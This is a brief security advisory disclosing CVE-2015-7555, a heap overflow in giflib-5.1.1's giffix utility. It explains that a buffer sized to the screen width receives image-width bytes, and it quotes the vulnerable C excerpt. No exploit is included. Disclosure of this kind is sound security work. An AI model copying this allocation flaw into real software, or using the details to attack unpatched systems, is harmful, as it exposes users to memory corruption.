Subject: giflib: heap overflow in giffix (CVE-2015-7555)


About
=====

giflib[1] is a library for working with GIF images.  It also provides
several command-line utilities.


CVE-2015-7555
=============

A heap overflow may occur in the giffix utility included in giflib-5.1.1
when processing records of the type `IMAGE_DESC_RECORD_TYPE' due to the
allocated size of `LineBuffer' equaling the value of the logical screen
width, `GifFileIn->SWidth', while subsequently having
`GifFileIn->Image.Width' bytes of data written to it.


giflib-5.1.1/util/giffix.c #35..194:
,----
| int main(int argc, char **argv)
| {
|     [...]
|     if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL)
|         GIF_EXIT("Failed to allocate memory required, aborted.");
| 
|     /* Scan the content of the GIF file and load the image(s) in: */
|     do {
|         [...]
|         switch (RecordType) {
|             case IMAGE_DESC_RECORD_TYPE:
|                 if (DGifGetImageDesc(GifFileIn) == GIF_ERROR)
|                     QuitGifError(GifFileIn, GifFileOut);
|                 [...]
|                 Width = GifFileIn->Image.Width;
|                 Height = GifFileIn->Image.Height;
|                 [...]
